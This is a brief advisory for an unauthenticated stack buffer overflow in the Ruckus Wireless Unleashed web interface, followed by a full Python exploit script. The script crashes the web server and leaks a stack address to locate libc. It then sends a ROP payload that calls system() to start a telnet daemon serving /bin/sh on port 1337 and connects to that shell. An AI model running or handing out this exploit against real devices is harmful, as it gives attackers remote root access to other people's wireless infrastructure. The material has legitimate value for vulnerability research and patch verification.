A stack buffer overflow in webs in Ruckus Wireless Unleashed through 200.7.10.102.92 allows a remote attacker to execute code via an unauthenticated crafted HTTP request.
Information about the exploitation of this vulnerability can alos be found in our DEFCON 28 talk.
import time
import struct
import argparse
import urllib3
import telnetlib
import requests
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
TELNET_PORT = 1337
def is_router_up(router_ip, router_port):
try:
response = requests.get("https://{}:{}/".format(router_ip, router_port), verify=False)
if response.status_code == requests.status_codes.codes.OK:
return True
except requests.exceptions.ConnectionError:
return False
def crash_webserver(router_ip, router_port):
# This request will cause a SEGFAULT and crash our webserver
# We crash the webserver to a clean state in order to be able to use our info leak.
payload = "A" * 268
try:
exploit_request(router_ip, router_port, payload)
except requests.exceptions.ConnectionError:
print("[+] Successfully crashed webserver")
def leak_address(router_ip, router_port):
payload = "A" * 264
response = exploit_request(router_ip, router_port, payload)
# Parse the response and extract the leaked address
end_index = response.find(b"</p>") - 4
leaked_address = struct.unpack("<I", response[end_index - 8:end_index - 4])
print("")
print("[+] Got address leak from the stack")
print("[+] Leaked address: {}".format(hex(leaked_address[0])))
libc_address = leaked_address[0] + 0x5e3034 # Our libuClibc library offset in a clean state
print("[+] libc address: {}".format(hex(libc_address)))
return (libc_address, leaked_address[0])
def exploit_router(router_ip, router_port, libc_address, buffer_address):
print("[*] Crafting payload")
cmd = "telnetd -p {} -l /bin/sh #".format(TELNET_PORT).encode()
payload = cmd + b"A" * (268 - len(cmd)) + b"CCCC"
payload += struct.pack("<I", libc_address + 0x31e90) # pop {r0, pc}
payload += struct.pack("<I", buffer_address) # address of the command to execute
payload += struct.pack("<I", libc_address + 0x52224) # system() address
print("[*] Address of the first gadget = {}".format(hex(libc_address + 0x31e90)))
print("[*] Address of our buffer = {}".format(hex(buffer_address)))
print("[*] Address of system = {}".format(hex(libc_address + 0x62224)))
print("[*] Sending exploit!")
exploit_request(router_ip, router_port, payload)
def exploit_request(router_ip, router_port, payload):
data = {"flag": "b", "contentKey": payload}
a = requests.post("https://{}:{}/admin/webPage/wifiNetwork/wlanSysConfirm.jsp".format(router_ip, router_port), verify=False, data=data)
return a.content
def telnet_connect(router_ip):
with telnetlib.Telnet(router_ip, TELNET_PORT) as tn:
tn.interact()
def main():
leaked = False
parser = argparse.ArgumentParser(description="Exploit for ruckus devices.")
parser.add_argument("ip", type=str, metavar="IP", help="ip address of the ruckus device")
parser.add_argument("port", type=int, metavar="PORT", help="ruckus web port [default: 443]", nargs='?', default=443)
args = parser.parse_args()
router_ip = args.ip
router_port = args.port
print("[*] Checking if the web interface is up...")
if not is_router_up(router_ip, router_port):
print("[-] web interface is down!")
return
print("[+] Web interface is up")
print("[*] Crashing webserver")
crash_webserver(router_ip, router_port)
print("[*] Waiting for watchdog to restart webserver")
while not leaked:
print(".", end="", flush=True)
time.sleep(0.5)
try:
(libc_address, buffer_address) = leak_address(router_ip, router_port)
leaked = True
except requests.exceptions.ConnectionError:
# This will happen until the webserver is up again.
pass
print("[*] Sleeping...")
time.sleep(8)
next_buffer_address = buffer_address + 4005888 # As noticed on a clean state, we are able to predict our next request buffer address.
try:
exploit_router(router_ip, router_port, libc_address, next_buffer_address)
except requests.exceptions.ConnectionError:
print("[+] Telnet should be open now on port {}".format(TELNET_PORT))
telnet_connect(router_ip)
if __name__ == "__main__":
main()